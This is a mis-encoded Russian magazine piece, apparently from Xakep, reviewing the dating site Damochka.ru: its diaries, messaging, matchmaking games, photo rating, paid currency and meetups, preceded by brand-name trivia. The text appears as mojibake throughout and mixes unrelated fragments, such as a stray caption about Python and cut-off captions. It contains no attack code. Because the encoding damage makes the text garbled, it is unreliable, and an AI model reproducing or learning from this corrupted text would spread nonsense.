Yahoo � ñëîâî ïðèäóìàë ïèñàòåëü Äæîíàòàí Ñâèôò, îáîçíà-
÷èâ èì ïëîõîãî, ìåðçêîãî ÷åëîâåêà. Ñîçäàòåëè Yahoo! � Äæå-
ðè ßíã è Äýâèä Ôèëî íàçâàëè ñâîé ñåðâèñ òàê, ïîòîìó ÷òî ñà-
ìè ñ÷èòàëè ñåáÿ yahoo'ìè. ×òî-òî òèïà ïàäîíêîâ, òîëüêî àìå-
ðèêàíñêèõ. Îôèöèàëüíî ÿõó ðàñøèôðîâûâàþò êàê Yet Another
Hierarchical Officious Oracle � äîëãî, íåáîñü, ïðèäóìûâàëè...
Cisco áûëî ñîçäàíî ïî ëåãåíäå. Îò îäíîé ìåãàâàæíîé áóìàãè
â êîìïàíèè îòîðâàëñÿ êóñî÷åê, íà êîòîðîì áûëè íàïèñàíû ýòè
ïÿòü áóêâ (CISCO), è ðóêîâîäñòâî ðåøèëî, ÷òî ýòî çíàê ñâûøå.
Íó à ÷òî, âñå ìîæåò áûòü. 
Nokia. Òàê íàçûâàëñÿ ôèíñêèé ãîðîä, â êîòîðîì íàõîäèëñÿ
ïåðâûé çàâîä êîìïàíèè. À ãîðîä íàçûâàëñÿ òàê ïîòîìó, ÷òî
íàõîäèëñÿ íà îäíîèìåííîé ñ áóäóùèì ñîòîâûì ãèãàíòîì ðåêå.
Âîò òàê âîò.

ïèòîí. Â ãðàìîòíûõ
ðóêàõ � ñåðüåçíîå
îðóæèå ïðîãðàììèñòà
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[òåòêè! òåòêè!] Åñëè òû óæå ñîáðàëñÿ ïåðåëèñ-
òûâàòü ñòðàíèöó, ðåøèâ, ÷òî ýòîò ïðîåêò ïîñâÿ-
ùåí æåíùèíàì è èõ ïðîáëåìàì, îñòàíîâèñü! Êîã-
äà íàéäåøü ñâîþ íåíàãëÿäíóþ, ìíå æå ñïàñèáî
ñêàæåøü. Èìåííî òàê, Äàìî÷êà.ðó � ýòî â ïåðâóþ
î÷åðåäü ñàìûé ïîïóëÿðíûé ñàéò çíàêîìñòâ, è òû
ìîæåøü çàïðîñòî ñêëåèòü çäåñü õîðîøåíüêóþ
ïîäðóæêó, ïðîñìîòðåòü åå àíêåòíûå äàííûå, îòï-
ðàâèòü åé âíóòðåííåå SMS ñîîáùåíèå, ïî÷èòàòü
äíåâíèê è, íàêîíåö, ïîèãðàòü ñ íåé â «Ëþáîâü ñ
Ïåðâîãî Êëèêà». ß äóìàþ, ÷òî «àññîðòèìåíò» èç
255 òûñÿ÷ òåòîê íà ñåãîäíÿøíèé äåíü íå òàê óæ è
ïëîõ. Ïðàâäà, ïàðíåé òàì â ïîëòîðà ðàçà áîëüøå,
íî îíè âåäü òåáÿ íå èíòåðåñóþò, ÿ íàäåþñü? ;)
Âåðíåìñÿ ê ïîðòàëó. Ñðàçó áðîñàåòñÿ â ãëàçà
ïðèÿòíûé, à ãëàâíîå ëåãêî ÷èòàåìûé äèçàéí è àê-
êóðàòíîå ðàñïðåäåëåíèå ìåíþ: ðàçäåë ñ íîâîñòÿ-
ìè � ñëåâà, à ïðî÷èé òåêñò � ñïðàâà. Íüþñû ðå-

090
ÅÆÅÄÍÅÂÍÎ ÏßÒÜÄÅÑßÒ ÒÛÑß× ×ÅËÎÂÅÊ
ÍÀÒÐÀÂËÈÂÀÞÒ ÑÂÎÈ ÁÐÀÓÇÅÐÛ ÍÀ ÝÒÎÒ
ÑÀÉÒ. ×ÀÑÒÜ ÈÇ ÍÈÕ � ÎÄÈÍÎÊÈÅ ÑÅÐÄÖÀ,
ÊÎÒÎÐÛÅ ÈÙÓÒ ÑÂÎÞ ÂÒÎÐÓÞ ÏÎËÎÂÈÍÊÓ 
È ÀÊÒÈÂÍÎ ÊÎÍÑÏÅÊÒÈÐÓÞÒ ÌÛÑËÈ È ÏÅÐÅ-
ÆÈÂÀÍÈß Â ÎÍËÀÉÍ-ÄÍÅÂÍÈÊÅ. ÄÐÓÃÈÅ ÇÀ-
ÕÎÄßÒ ÒÎËÜÊÎ ÄËß ÒÎÃÎ, ×ÒÎÁÛ ÏÎ×ÈÒÀÒÜ
ÇÀÏÈÑÈ ÄÐÓÇÅÉ È ÏÎÈÃÐÀÒÜ Â ÌÍÎÃÎ×ÈÑ-
ËÅÍÍÛÅ ÈÍÒÅÐÀÊÒÈÂÍÛÅ ÈÃÐÛ. ÊÀÊ ÁÛ ÒÎ
ÍÈ ÁÛËÎ, ÈÍÒÅÐÍÅÒ-ÏÐÎÅÊÒ DAMOCHKA.RU
ÏÎËÜÇÓÅÒÑß ÎÃÐÎÌÍÎÉ ÏÎÏÓËßÐ-
ÍÎÑÒÜÞ, È ÌÛ ÍÅ ÌÎÃËÈ ÌÈÌÎ ÍÅÃÎ
ÏÐÎÉÒÈ | hiNt (hint@real.xakep.ru)
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ãóëÿðíî îáíîâëÿþòñÿ, è òàì ÷àñòî ïðîñêàêèâàåò èíôà î íàìå÷àþùèõñÿ òóñàõ. Òàêæå íåîòúåìëåìîé ÷àñòüþ èíäåê-
ñà ÿâëÿþòñÿ Äàìî÷àäåö è Äàìî÷àäêà (èìåííî òàê ïîâåëîñü íàçûâàòü ïîëüçîâàòåëåé ñàéòà) äíÿ, êîòîðûå âûñêà-
çûâàþò ñâîþ ñèëüíóþ ìûñëü èëè ïðîñòî èçëèâàþò äóøó íà ãëàâíîé ñòðàíè÷êå ñàéòà. Ôèëüòðàöèÿ ìàòåðèàëà ðå-
äàêòîðàìè çäåñü ïîõëåùå åñòåñòâåííîãî îòáîðà Äàðâèíà � ëàæà íà èíäåêñ íå ïîïàäàåò. Âíèçó ñòðàíè÷êè âûÿâ-
ëåíû èìåíèííèêè äíÿ, êîòîðûì ìîæíî ñêàçàòü íåñêîëüêî ïðèÿòíûõ ñëîâ ïîñðåäñòâîì SMS.
×òîáû ñòàòü ó÷àñòíèêîì ñåòåâûõ óòåõ íà Äàìî÷êå, ïîëó÷èòü ïîëíûé äîñòóï ê àíêåòàì äåâóøåê è âîçìîæíîñòü ëè-
öåçðåòü âñå èõ ôîòîãðàôèè, íåîáõîäèìî ïðîéòè ðåãèñòðàöèþ. Äëÿ íà÷àëà íóæíî ïðèäóìàòü ñåáå ëîãèí è íèê. Ïî
ïîâîäó ïîñëåäíåãî íå çàìîðà÷èâàéñÿ, òàê êàê â ëþáîé ìîìåíò åãî ìîæíî áóäåò ïîìåíÿòü.Ïîñëå òîãî, êàê çàðåãè-
ñòðèðîâàëñÿ, æåëàòåëüíî îòðåäàêòèðîâàòü ñâîþ àíêåòó: ââåñòè ôèçè÷åñêèå äàííûå, ïîäðîáíî ðàñïèñàòü óâëå÷å-
íèÿ, äîáàâèòü ôîòîãðàôèé è òàê äàëåå. Ìíîãèå òåòêè ñîñòàâëÿþò î òåáå âïå÷àòëåíèå ïî aíêåòå. Ïîñëå ðåãèñòðà-
öèè òû ñòàíîâèøüñÿ ïîëíîöåííûì äîìî÷àäöåì è ìîæåøü�

[�÷èòàòü è âåñòè äíåâíèê] Ïîìíèøü ñòàòüþ ïðî Æèâîé Æóðíàë â 69 íîìåðå? Òàê âîò, ñåòåâîé äíåâíèê ìîæ-
íî âåñòè è íà Äàìî÷êå. Ïóñòü â óäîáñòâå è ôóíêöèîíàëüíîñòè äàìî÷êèí àíàëîã íåìíîãî è óñòóïàåò ÆÆ, íî íå â ïî-
ïóëÿðíîñòè � ýòî òî÷íî. Íà ñàéòå çàðåãèñòðèðîâàíî áîëåå äâóõñîò òûñÿ÷ äíåâíèêîâ. Êàæäûé èç íèõ èìååò ñâîå íàç-
âàíèå, íåçàâèñèìîå îò íèêà. Íàïðèìåð: Alenka � «èñòîðèè èç æèçíè æèâîòíûõ», MrWriter � «ýðîòè÷åñêèå ðàññêà-
çû», èëè áîëåå áàíàëüíîå � marina18 � «îáî ìíå». Äëÿ êàæäîãî äíåâíèêà âåäåòñÿ ñòàòèñòèêà: ðåéòèíã, îïðåäåëÿ-
åìûé ñóììàðíûì êîëè÷åñòâîì ÷àñîâ, ïðîâåäåííûõ þçåðàìè çà ÷òåíèåì äíåâíèêà; êîëè÷åñòâî çàïèñåé, êîììåíòà-
ðèåâ è ÷èòàòåëåé. Êàæäîìó ïîñòó ìîæíî ïðèñâîèòü ñâîþ äàòó, åñëè òû íå ñîãëàñåí ñ äèðåêòîðîì ìèðà ïî ïîâîäó òå-
êóùåãî êàëåíäàðÿ. Ýòà ôèøêà ïîëåçíà â òåõ ñëó÷àÿõ, êîãäà õî÷åòñÿ ïðèêðåïèòü êàêîé-òî ïîñò âûøå äðóãèõ, ÷òîáû
îí âñåãäà áûë íà âèäó. Òîãäà åãî äàòèðóþò êàêîé-íèáóäü çàïðåäåëüíîé äàòîé, òèïà 2010 ãîäà, è äåëî â øëÿïå.
Î÷åíü ìîäíàÿ ôè÷à ó äàìî÷àäöåâ � èñïîëüçîâàòü âîçìîæíîñòü «ïðèêðåïèòü êàðòèíêó», êîãäà ïîñò ñîïðîâîæäà-
åòñÿ ìàëåíüêîé òåìàòè÷åñêîé èëëþñòðàöèåé, ïðè íàæàòèè, åñòåñòâåííî, óâåëè÷èâàþùåéñÿ.
Ñèñòåìà äðóçåé ðåàëèçîâàíà ÷åðåç äîáàâëåíèå ñåáÿ â «ïîñòîÿííûå ÷èòàòåëè» äíåâíèêà.
Â îáùåì, ïðîñìîòðåâ ôîòîãðàôèè â àíêåòå äåâóøêè è ïðî÷èòàâ åå èíôî, ñîâåòóþ çàãëÿíóòü â äíåâíèê (åñëè îíà åãî,
êîíå÷íî, âåäåò). Òîãäà òû óçíàåøü, êàê è ÷åì îíà æèâåò è äóìàåò, ñìîæåøü ïîäîáðàòü íóæíûé êëþ÷èê ê åå ñåðäöó.

[�îáùàòüñÿ] Íà Äàìî÷êå åñòü âíóòðåííèé ñåðâèñ êîðîòêèõ ñîîáùåíèé (ÑÌÑ), áëàãîäàðÿ êîòîðîìó, íàðîä ìî-
æåò îáùàòüñÿ íàåäèíå. Ñåðâèñ âûïîëíåí íà âûñîêîì óðîâíå, îïòèìèçèðîâàí ïî÷òè ïîä âñå áðàóçåðû è íàäåëåí
âñÿêèìè ïîëåçíûìè ïðèáàìáàìñàìè, âðîäå õèñòîðè, êîíòàêò-ëèñòà è ìíîæåñòâà ñìàéëèêîâ. Äëÿ áîëåå óäîáíîãî
îáùåíèÿ ïðîãðàììèñòû ïðîåêòà äàæå ñîçäàëè ñïåöèàëüíóþ ïðîãðàììó � «ÄàìàÔîí», êîòîðàÿ ïîçâîëÿåò áûñòðî
è ëåãêî äîñòó÷àòñÿ äî ëþáîãî ÷åëîâåêà èç òâîèõ êîíòàêòîâ. Êîäåðàì ïîêàçàëîñü ìàëî ñâîåãî äåòèùà â âèäå îò-
äåëüíîé ïðîãè, è îíè ñîçäàëè àíàëîãè÷íûé ïëàãèí ê Mirand'å. 
Ïîìèìî îáùåíèÿ â ðåàëüíîì âðåìåíè, äàìî÷àäöû ìîãóò îáìåíèâàòüñÿ èíôîðìàöèåé íà ôîðóìå, êîòîðûé ïîäå-
ëåí íà ìíîãî ðàçíûõ òåìàòè÷åñêèõ ðàçäåëîâ (ëþáîâü, ñåêñ, èñêóññòâî, ñïîðò, òóñîâêè è ò.ä.), çà êîòîðûìè ñëåäÿò
ñòðîãèå, íî ñïðàâåäëèâûå ìîäåðàòîðû.

[�èãðàòü â ËÏÊ] «Ëþáîâü ñ Ïåðâîãî Êëèêà (ËÏÊ)» � îäíà èç ñàìûõ èíòåðåñíûõ è àääèêòèâíûõ îíëàéíîâûõ
èãð. Ýòî ñåòåâîé àíàëîã èçâåñòíîé òåëåïåðåäà÷è, íè â ÷åì íå óñòóïàþùèé îðèãèíàëó. Ðàçâå ÷òî ïðèçû â âèäå êðó-
ãîñâåòíîãî ïóòåøåñòâèÿ òóò íèêòî íå âûäàåò. Çà âðåìÿ ñóùåñòâîâàíèÿ èãðû ñîâïàëè òûñÿ÷è ïàð, èç êîòîðûõ îï-
ðåäåëåííûé ïðîöåíò âñòðåòèëñÿ â ðåàëå, è íåêîòîðàÿ ÷àñòü èç íèõ äàæå âñòóïèëà â áðàê.
Çàéäÿ â èãðó, òû ïîïàäàåøü â íåêèé çàë îæèäàíèÿ � ñêîïëåíèå íèêîâ, ÷üÿ î÷åðåäü ïîïàñòü â èãðó ïîêà åùå íå
ïîäîøëà. Ïàðíåé òàì îáû÷íî áîëüøå, ïîýòîìó, ÷òîáû äîæäàòüñÿ íîâîãî òóðà (îñîáåííî â íî÷íîå âðåìÿ), îáû÷íî
ïðèõîäèòñÿ íåìíîãî ïîäîæäàòü... íó èëè ñòàòü äåâî÷êîé :). Âðåìÿ, êîãäà òåáÿ âûêèíóò ïîèãðàòü, çàâèñèò îò òâîåãî
ËÏÊ ðåéòèíãà. Åñëè îí îòðèöàòåëüíûé, òî òåáå ìîãóò äàæå íà âðåìÿ çàïðåòèòü äîñòóï ê èãðå, ÷òîáû ðàñ÷èñòèòü
äîðîãó íîâûì ïîòåíöèàëüíî õîðîøèì èãðîêàì.
Êîãäà òû, íàêîíåö, äîæäåøüñÿ ñâîåé î÷åðåäè è ïîïàäåøü â òóð èãðû, òåáå ïðåäñòîèò îòâåòèòü íà òðè âîïðîñà îò
òðåõ äåâóøåê. Òû ñðàçó ñìîæåøü ñîñòàâèòü âèçóàëüíîå âïå÷àòëåíèå, òàê êàê óâèäèøü èõ ôîòîãðàôèè, à òàêæå óç-
íàåøü â ëèöî ñâîèõ ñîïåðíèêîâ-ïàðíåé, è åñëè çàõî÷åøü, òî ìîæåøü ïðîñìîòðåòü âñå àíêåòû öåëèêîì.
Çäåñü òû äîëæåí áóäåøü ïîñòàâèòü êàæäîé äåâóøêå îöåíêó çà âîïðîñ ïî ïÿòèáàëëüíîé øêàëå. Îê, îòâåòèë íà âîï-
ðîñû � òåïåðü ïîäîæäè íåìíîãî è óâèäèøü, ÷òî èíòåðåñíîãî íàïèñàëè äåâóøêè â îòâåò íà òâîé question. Ñíîâà
èõ îöåíèâàåøü è âûáèðàåøü ñàìóþ-ñàìóþ, èëè æå ìîæåøü ïðîãîëîñîâàòü «ïðîòèâ âñåõ». Ñîâïàâøåé ïàðå îòñû-
ëàåòñÿ ïî ïî÷òå ïîäðîáíàÿ èíôîðìàöèÿ äðóã î äðóãå âïëîòü äî e-mail àäðåñà, îáû÷íî ñêðûòîãî â àíêåòå.
×òî êàñàåòñÿ ËÏÊ ðåéòèíãà, ðàçîáðàòüñÿ â íåì áåç áóòûëêè � òðóäíîâàòî. Ñìûñë â òîì, ÷òî åñëè òû ñûãðàë áî-
ëåå 10 èãð, òâîè î÷êè ðàññ÷èòûâàþòñÿ ïî ôîðìóëå (ñðåäíåå êîëè÷åñòâî áàëëîâ çà èãðó * êîðåíü êâàäðàòíûé èç
÷èñëà ñûãðàííûõ ïàðòèé). Áàëëû çà èãðó çàâèñÿò îò òîãî, êàêèå îöåíêè òû ïîëó÷èë çà ñâîé âîïðîñ, îòâåòû îò äå-
âóøåê è çà ôàêò âûáðàííîñòè. Åñëè æå ÷èñëî òâîèõ èãð íå ïðåâûøàåò äåñÿòîê, òî ðåéòèíã âðåìåííî íåîïðåäåëåí.
Íà ñàéòå ìîæíî îçíàêîìèòüñÿ ñ ÷àðòîì ëó÷øèõ èãðîêîâ â «Ëþáîâü ñ Ïåðâîãî Êëèêà» (îòäåëüíî þíîøåé è äåâó-
øåê). Êàê ïðàâèëî, ýòî ñèëüíûå, èíòåðåñíûå ëè÷íîñòè ñ ÷óâñòâîì þìîðà. Òàêæå äîñòóïíà èíôîðìàöèÿ î ñàìûõ
÷àñòî çàäàâàåìûõ âîïðîñàõ è ñòàòèñòèêà: ñêîëüêî ñûãðàíî ïàðòèé, ñêîëüêî ñîâïàëî ïàð è òàê äàëåå.

[�íàçíà÷àòü è äèíàìèòü :) ñâèäàíèÿ] «Ìåñòî Âñòðå÷è» � íàõîäêà äëÿ ñêó÷àþùèõ þíîøåé è äåâóøåê. Çà-
äà÷à ýòîãî ñåðâèñà � ïîçâîëèòü âñòðåòèòüñÿ ìîëîäîé ïàðî÷êå è ïðèÿòíî ïðîâåñòè âðåìÿ. Ñèñòåìà òàêîâà: ñîçäà-
åøü àíêåòó ñ ïîäðîáíûìè îæèäàíèÿìè îò âñòðå÷è, ïîæåëàíèÿìè è ïðåäïî÷òåíèÿìè è îòïðàâëÿåøü åå íà ñåðâåð.
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Àíêåòà íå î÷åíü áîëüøàÿ, çàòî âñå âîïðîñû ïîäîáðàíû î÷åíü óìåëî è òî÷-
íî, òàê ÷òî êà÷åñòâî êîìïåíñèðóåò êîëè÷åñòâî.
«Íàñòðàèâàåòñÿ» ïîë ïàðòíåðà, åãî âîçðàñò, à çàîäíî è ðîñò ñ âåñîì. Ìîæ-
íî îòôèëüòðîâàòü âñåõ äåâóøåê áåç ôîòîãðàôèé. Íåìàëîâàæíûé ïóíêò ìå-
íþ � ýòî «öåëü». Îò òîãî, êàê òû çàïîëíèøü äàííûå, çàâèñèò, âñòðåòèòñÿ
ëè òåòêà ñ òîáîé or not. Âûáðàòü ìîæíî òàêèå âàðèàíòû: ïðîãóëêà (ñ âîç-
ìîæíûìè ïîäïóíêòàìè: ãîðîä, ïàðê, ìàãàçèí, êàôå); ïîñåùåíèå ìåðîïðèÿ-
òèÿ (êèíî, òåàòð, âûñòàâêà, ìóçåé, êîíöåðò); ïîñèäåòü äîìà (çäåñü íóæíî îò-
ìåòèòü, ïðèãëàøàåøü ëè òû äàìó ê ñåáå äîìîé èëè æåëàåøü ñòàòü ãîñòåì);
âå÷åðíèå ðàçâëå÷åíèÿ (êëóá, äèñêîòåêà, áîóëèíã, áèëüÿðä, êàçèíî, ðåñòî-
ðàí); äðóãîå. Êîãäà îòìåòèøü íóæíûå ãàëî÷êè, îáðàòè âíèìàíèå íà ïîëå
«Ïîäðîáíåå». Íàñòîÿòåëüíî ðåêîìåíäóþ çàïîëíèòü åãî, ïðè÷åì ãðàìîòíî è
îðèãèíàëüíî. Äîïîëíèòåëüíûå îïöèè ïîçâîëÿþò ïîñòàâèòü ïàðòíåðøó â èç-
âåñòíîñòü, åñòü ëè ó òåáÿ ìàøèíà, ìíîãî äåíåã :), ïðèñòðàñòèå ê àëêîãîëþ
è íèêîòèíó. Íó, à «ðàññ÷èòûâàþ íà çíàêîìñòâî» (ìèìîëåòíîå ïðèêëþ÷å-
íèå/ïðîäîëæèòåëüíûå îòíîøåíèÿ/ïîèñê ñïóòíèêà æèçíè), ðàññòàâèò âñå
òî÷êè íàä i è ïðåäîñòåðåæåò òåáÿ îò èçáèòûõ âîïðîñîâ ñî ñòîðîíû ïàññèè â
äóõå: «çà÷åì ÿ òåáå íóæíà?».
Îê, çàïîëíèâ àíêåòó, òû ïîïàäàåøü íà íîâóþ ñòðàíèöó, ãäå âûáèðàåøü ãî-
ðîä, ðàéîí è æåëàåìûé äåíü âñòðå÷è, à òàêæå ñïîñîá ñâÿçè ñ òîáîé (sms/e-
mail/òåëåôîí), åñëè êòî-òî êëþíåò íà òâîþ çàÿâêó (õààà, íàèâíûé!). Ðàñïðà-
âèâøèñü ñ ôîðìî÷êàìè, òû íàêîíåö ïåðåéäåøü ê ñòðàíè÷êå ñ çàÿâêàìè äå-
âóøåê, êîòîðûå íàèáîëåå ñîîòâåòñòâóþò òâîèì óñëîâèÿì. Âûáèðàåøü ïîí-
ðàâèâøóþñÿ êðàñîòêó è æìåøü «ïðèãëàñèòü». Óäà÷íî ïîãóëÿòü :).

[�îöåíèâàòü è áûòü îöåíåííûì] Â èãðå «Ãþëü÷àòàé» ìîæíî ñèäåòü
è öåëûìè ÷àñàìè îöåíèâàòü ôîòîãðàôèè äðóãèõ äàìî÷àäîê è äàìî÷àäöåâ.
Ôîòêè ïîÿâëÿþòñÿ â ðàíäîìíîì ïîðÿäêå (äëÿ òåõ, êòî ëþáèò ïîñèäåòü â
áîëüøîé âîåííîé ìàøèíå, ïåðåâîæó: âðàçíîáîé), ÷òîáû íå áûëî íàêðóòîê.
Äëÿ óäîáñòâà âûáîðà âñå ôîòêè ðàñïðåäåëåíû ïî êàòåãîðèÿì � «îáùàÿ»,
«ýðîòèêà», «þìîð» è äàæå, âíèìàíèå, «ïîõàáùèíà» ;). Ðàçìåñòèâ ñâîþ ôî-
òîãðàôèþ â «Ãþëü÷àòàå», òû â ñêîðîì âðåìåíè óçíàåøü î ñåáå ìíîãî èí-
òåðåñíîãî. À èìåííî: ñìîæåøü ïîñìîòðåòü, êòî è ñêîëüêî áàëëîâ òåáå ïîñ-
òàâèë, à òàêæå ïî÷èòàòü âîçìîæíûå êîììåíòàðèè. Âäðóã êàêàÿ-íèáóäü êëå-
âàÿ ÷èêñà âëåïèëà òåáå 10-êó, è ó âàñ ñ íåé çàâÿæåòñÿ áóðíûé ðîìàí? Ó àâ-
òîðà ñòàòüè òàêîå áûâàëî. Ïðàâäà åìó òðîÿê âëåïèëè, ÷òî åãî çàäåëî è ïîä-
òîëêíóëî ê âñòðå÷å :).
Äà, ÷óòü íå çàáûë. Åñëè òû áóäåøü ñèäåòü ñëîæà ðóêè, òî òâîÿ ôîòêà íèêîã-
äà è íèêîìó íå áóäåò ïîêàçàíà. Îò òåáÿ òðåáóåòñÿ âðåìÿ îò âðåìåíè ñàìîìó
îöåíèâàòü äðóãèõ ïàðíåé (àõòóíã!) èëè äåâóøåê, òåì ñàìûì íàáèðàÿ áàëëû.
Ýòè ñàìûå áàëëû è áóäóò ðàñõîäîâàòüñÿ, êîãäà íà÷íóòñÿ òâîè «ïîêàçû». Íà

ëèöî ïðîñòàÿ ñèñòåìà:
«÷åì áîëüøå òû ñìîò-
ðèøü è îöåíèâàåøü,
òåì áîëüøå ðàç òåáÿ
ïîêàæóò». Åäèíñòâåííîå,
ñîâåòóþ íå ïåðåáàðùèâàòü ñ êîëè÷åñòâîì îöåíåííûõ äåâóøåê çà îäèí
ðàç,òàê êàê ïîòîì òâîÿ ôîòêà ìîæåò ïîïàñòüñÿ îäíîé è òîé æå äåâî÷êå íåñ-
êîëüêî ðàç, òåì ñàìûì ñíèçèâ ÊÏÄ. À èíîãäà äàæå è îöåíêó, êîãäà íåðâíûå
àíãåëüñêèå ñîçäàíèÿ íà÷èíàþò çëèòüñÿ è ñòàâèòü åäèíè÷êè ;). Ïîýòîìó
äåéñòâîâàòü ëó÷øå â íåñêîëüêî çàõîäîâ � ÷åðåç 4 ÷àñà, íàïðèìåð.

[�è ïðîñòî ðàçâëåêàòüñÿ] Ñðåäè îñòàëüíûõ ðàçâëå÷åíèé ìîæíî âû-
äåëèòü èíòåëëåêòóàëüíóþ èãðóøêó: «Î, ùàñ ëèô÷èê» aka «Êòî õî÷åò ïåðåñ-
ïàòü ñ ìèëëèîíåðîì». Íå ïîïàë íà TV? Äàâàé ñþäà. Ñìåøíîå ïðåäñòàâëå-
íèå Äèáðîâà â ëèô÷èêå çàáàâëÿåò, íî èãðàòü íå ìåøàåò, à áîðüáà çà ðåé-
òèíã çàñòàâëÿåò âîçâðàùàòüñÿ ñíîâà è ñíîâà.
«Ïîëîâèíêà» ïîêàçûâàåò ñïèñîê îñîáåé ïðîòèâîïîëîæíîãî ïîëà, êîòîðûå
ïîäõîäÿò òåáå ïî õàðàêòåðó. Îïðåäåëÿåòñÿ ýòî ïóòåì ñîö-òåñòà, êîòîðûé
ìîæíî ïðîéòè çäåñü æå. Àõ äà, åùå äëÿ ìîñêâè÷åé ïðÿìî ñ ñàéòà ìîæíî
ñîáðàòü è çàêàçàòü äåâóøêå áóêåò öâåòîâ.

[� à òàêæå òóñîâàòüñÿ] Êàêîå áû âèðòóàëüíîå îáùåíèå íè êàçàëîñü
èíòåðåñíûì, íî îíî íèêîãäà íå çàìåíèò ðåàëüíûõ òóñîâîê. Ïîýòîìó
äàìî÷àäöû ðåãóëÿðíî óñòðàèâàþò âñòðå÷è è îòðûâàþòñÿ íà âñþ êà-
òóøêó. Ãóëÿÿ ïî ñàéòó è ÷èòàÿ äíåâíèê, òû ïîëó÷èøü ïðèãëàøåíèå ïî
sms íà î÷åðåäíóþ âå÷åðèíêó äàìî÷àäöåâ. Èäòè èëè íåò � âûáîð òâîé,
íî îáðàòè âíèìàíèå íà òî, ÷òî çà÷àñòóþ îðãàíèçàòîðû óñòðàèâàþò ðàç-
ëè÷íûå ñþðïðèçû (íàïðèìåð, áåñïëàòíîå øàìïàíñêîå äàìàì ïðè âõî-
äå), îäàðèâàþò äàìî÷åêàìè íîìèíàëîì â 50 äàìîê è ìíîãîå äðóãîå.
Ðåáÿòà, èçúÿâèâøèå æåëàíèå ïîñåòèòü òóñó, îòïèñûâàþòñÿ â ñïåöèàëü-
íîì òîïèêå, òàì æå çàîäíî è çíàêîìÿòñÿ. Àòìîñôåðà î÷åíü äðóæåëþá-
íàÿ, ÷óâñòâóåòñÿ, ÷òî íàðîä ñïëî÷åííûé, õîòÿ è åäâà çíàêîìûé. Ëþä
çäåñü ðàçíûé: îò ñòóäåíòîâ äî áèçíåñìåíîâ, íî íà âðåìÿ íî÷íîé âå÷å-
ðèíêè ñîöñòàòóñû èñïàðÿþòñÿ, ïàôîñ ñòðåìèòñÿ ê íóëþ, à êîëëåêòèâ-
íûé ðàñêîëáàñ � ê áåñêîíå÷íîñòè.
Ïîìèìî ïîñòîÿííûõ ìèíè-òóñîâîê, ïðîâîäÿòñÿ è îãðîìíûå ôåñòèâàëè ïîä
íàçâàíèåì «ÌÅÃÀÄÀÌ» (þìîðèñòû îáû÷íî ïèøóò «ÌåãàÄàì»). Ïîêà èõ
ïðîøëî òðè, íî ãîòîâèòñÿ ÷åòâåðòûé � â ãîðîäå Ñî÷è.
Ïåðâûé ôåñòèâàëü «ÌÅÃÀÄÀÌ» ïðîøåë â Ïèòåðå 6 äåêàáðÿ ïðîøëîãî ãî-
äà â Áàëòèéñêîì Äîìå. Êàññû îòêðûâàëèñü â 21:00, íî òîëïà íåòåðïåëèâûõ
äàìî÷àäöåâ ñîáðàëàñü ó íåå íåñêîëüêî ðàíüøå. Íèêòî íå ïîäîçðåâàë, ÷òî

| ÄÄÀÌÊÈ || 
Ñàáæ � ýòî ñïåöèàëüíàÿ âàëþòà ñòðàíû Äàìîëýíäèè, ïîçâî-
ëÿþùàÿ ïîëó÷àòü äîñòóï ê äîïîëíèòåëüíûì ñåðâèñàì. Îäíà
äàìêà ïî êóðñó ðàâíà îäíîìó ðóáëþ. Ó òåáÿ åñòü ñïåöèàëüíûé
êîøåëåê, íàïîìèíàþùèé îñíîâíûìè ôóíêöèÿìè WebMoney
Keeper. Ïîääåðæèâàåò îí çàïèñü èñòîðèè ïëàòåæåé ñ ïîäðîá-
íûìè êîììåíòàðèÿìè, ÷òî åñòü âåðè ãóä, ñîãëàñèñü. Ïîïîëíèòü
ñâîé áàëàíñ ìîæíî ëèáî âðó÷íóþ ÷åðåç òå æå âåáìàíüêè èëè
èñïîëüçóÿ ñèñòåìó RuPay, à ìîæíî ïðèáåãíóòü ê ïîìîùè îôè-
öèàëüíûõ äèëåðîâ äàìêè � ëþäåé, ñ êîòîðûìè òû óæå ñàì äî-
ãîâîðèøüñÿ î òîì, êàê è ÷åì ðàñïëàòèòüñÿ. Ñïèñîê òàêèõ ëþ-
äåé íàõîäèòñÿ òàì æå, â êîøåëüêå. Íó, çàòðàòíûå ñïîñîáû ÿ
ïåðå÷èñëèë. Äàìêè ìîæíî ïîëó÷èòü è íàõàëÿâó: íàïðèìåð, âû-
èãðàòü èõ â ëîòåðåå. Ìíîãèå ëþäè ïðîâîäÿò ëîòåðåè ñ ðàçíû-
ìè ñòàâêàìè, ïîýòîìó åñëè èãðàòü ñ óìîì, òî ìîæíî ïðèóìíî-
æèòü ñâîé êàïèòàë, ÷òîáû...
×òîáû ìîæíî áûëî èçìåíèòü öâåòîâóþ ñõåìó àíêåòû (120 äà-
ìîê); ðàçîñëàòü âñåì ïîëüçîâàòåëÿì îíëàéí ñîîáùåíèå (999);
èñïîëüçîâàòü ðàñøèðåííûé ïîèñê ÷åëîâåêà (180); ñäåëàòü ñå-
áå îñîáûé ñòàòóñ (2100); ïîëó÷èòü íåîãðàíè÷åííîå ïî îáúåìó
õèñòîðè (800); êóïèòü 100 ïîêàçîâ â «Ãþëü÷àòàå» (50); óáðàòü
ëèìèò â 20 ôîòîãðàôèé (1500); ñîçäàòü ãîëîñîâàíèå (30) èëè
ïîäïèñàòüñÿ íà íîâûå ðåãèñòðàöèè è ïîëó÷àòü â òå÷åíèå ìåñÿ-
öà íà ìûëî èíôîðìàöèþ î íîâûõ äàìî÷àäöàõ, ñîîòâåòñòâóþ-
ùèì óêàçàííûì êðèòåðèÿì (50000).
Àõ äà, íà ãëàâíîé ñòðàíèöå ñàéòà âñåãäà êðàñóåòñÿ íèê è ôî-
òîãðàôèÿ îäíîãî ïîëüçîâàòåëÿ � ýòî öàðü ãîðû. ×òîáû ïî-
ïàñòü â öàðè è ïîêàçàòü ñåáÿ ïÿòèäåñÿòèòûñÿ÷íîé àóäèòîðèè,
íóæíî ïîó÷àñòâîâàòü â àóêöèîíå è ïîñòàâèòü ìàêñèìàëüíóþ
ñòàâêó (â äàìêàõ). Ïîêà íå ïðîéäåò ïîë÷àñà èëè òåáÿ íèêòî
íå ïåðåêóïèò, òû áóäåøü âèñåòü íà ñàéòå è ïðèâëåêàòü âíè-
ìàíèå êëåâûõ ÷èêñ.

ðûöàðñêèé ïîåäèíîê â ëó÷øèõ åãî òðàäèöèÿõ

HAMelleON: îòåö è äåéñòâóþùèé àäìèí
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íàðîäó áóäåò òàê ìíîãî
(ïðèìåðíî 3000 ÷åëî-
âåê). Ðåçóëüòàòîì ñòàëè
î÷åðåäè ïîâñþäó è áîëü-
